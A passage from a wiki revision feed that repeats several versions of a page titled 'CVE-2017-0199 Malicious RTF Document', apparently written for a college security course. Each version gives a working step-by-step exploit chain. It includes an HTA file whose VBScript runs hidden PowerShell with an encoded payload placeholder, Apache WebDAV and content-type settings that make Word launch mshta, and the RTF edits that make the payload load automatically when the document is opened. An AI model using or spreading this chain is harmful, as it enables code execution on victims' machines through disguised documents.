to&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; \object\objautlink\objupdate\rsltpict..........................&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120935</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120935"/>
		<updated>2017-05-02T18:41:34Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 6 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
After clicking OK you will get the content of the &amp;quot;ms.rtf&amp;quot; file which just contains a random string..&lt;br /&gt;
&lt;br /&gt;
Save the file as &amp;quot;exploit.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
The following step will :&lt;br /&gt;
- change the ms.rtf that we have included with the custom HTA payload&lt;br /&gt;
- The web server will send a &amp;quot;application/hta&amp;quot; content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload&lt;br /&gt;
&lt;br /&gt;
 cat /var/www/html/ms/ms.hta &amp;gt; /var/www/html/ms.rtf  &lt;br /&gt;
&lt;br /&gt;
 vi /etc/apache2/sites-enables/000-default  &lt;br /&gt;
 Change -&amp;gt; application/rtf to application/hta  &lt;br /&gt;
 like:  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/hta&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Step 6 ===&lt;br /&gt;
At this step, if the user opens the &amp;quot;exploit.rtf&amp;quot; file he will have to double click on the link object to launch the attack...&lt;br /&gt;
&lt;br /&gt;
If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:&lt;br /&gt;
&lt;br /&gt;
[[File:5.png]]&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; \object\objautlink\objupdate\rsltpict..........................&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120934</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120934"/>
		<updated>2017-05-02T18:41:18Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 6 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
After clicking OK you will get the content of the &amp;quot;ms.rtf&amp;quot; file which just contains a random string..&lt;br /&gt;
&lt;br /&gt;
Save the file as &amp;quot;exploit.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
The following step will :&lt;br /&gt;
- change the ms.rtf that we have included with the custom HTA payload&lt;br /&gt;
- The web server will send a &amp;quot;application/hta&amp;quot; content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload&lt;br /&gt;
&lt;br /&gt;
 cat /var/www/html/ms/ms.hta &amp;gt; /var/www/html/ms.rtf  &lt;br /&gt;
&lt;br /&gt;
 vi /etc/apache2/sites-enables/000-default  &lt;br /&gt;
 Change -&amp;gt; application/rtf to application/hta  &lt;br /&gt;
 like:  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/hta&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Step 6 ===&lt;br /&gt;
At this step, if the user opens the &amp;quot;exploit.rtf&amp;quot; file he will have to double click on the link object to launch the attack...&lt;br /&gt;
&lt;br /&gt;
If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:&lt;br /&gt;
&lt;br /&gt;
[[File:5.png]]&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
\object\objautlink\objupdate\rsltpict..........................&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120933</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120933"/>
		<updated>2017-05-02T18:40:24Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 6 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
After clicking OK you will get the content of the &amp;quot;ms.rtf&amp;quot; file which just contains a random string..&lt;br /&gt;
&lt;br /&gt;
Save the file as &amp;quot;exploit.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
The following step will :&lt;br /&gt;
- change the ms.rtf that we have included with the custom HTA payload&lt;br /&gt;
- The web server will send a &amp;quot;application/hta&amp;quot; content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload&lt;br /&gt;
&lt;br /&gt;
 cat /var/www/html/ms/ms.hta &amp;gt; /var/www/html/ms.rtf  &lt;br /&gt;
&lt;br /&gt;
 vi /etc/apache2/sites-enables/000-default  &lt;br /&gt;
 Change -&amp;gt; application/rtf to application/hta  &lt;br /&gt;
 like:  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/hta&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Step 6 ===&lt;br /&gt;
At this step, if the user opens the &amp;quot;exploit.rtf&amp;quot; file he will have to double click on the link object to launch the attack...&lt;br /&gt;
&lt;br /&gt;
If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:&lt;br /&gt;
&lt;br /&gt;
[[File:5upload.png]]&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
\object\objautlink\objupdate\rsltpict..........................&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:5.png&amp;diff=120932</id>
		<title>File:5.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:5.png&amp;diff=120932"/>
		<updated>2017-05-02T18:39:32Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: Lphanvan uploaded a new version of File:5.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120931</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120931"/>
		<updated>2017-05-02T18:38:31Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
After clicking OK you will get the content of the &amp;quot;ms.rtf&amp;quot; file which just contains a random string..&lt;br /&gt;
&lt;br /&gt;
Save the file as &amp;quot;exploit.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
The following step will :&lt;br /&gt;
- change the ms.rtf that we have included with the custom HTA payload&lt;br /&gt;
- The web server will send a &amp;quot;application/hta&amp;quot; content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload&lt;br /&gt;
&lt;br /&gt;
 cat /var/www/html/ms/ms.hta &amp;gt; /var/www/html/ms.rtf  &lt;br /&gt;
&lt;br /&gt;
 vi /etc/apache2/sites-enables/000-default  &lt;br /&gt;
 Change -&amp;gt; application/rtf to application/hta  &lt;br /&gt;
 like:  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/hta&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120930</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120930"/>
		<updated>2017-05-02T18:38:27Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
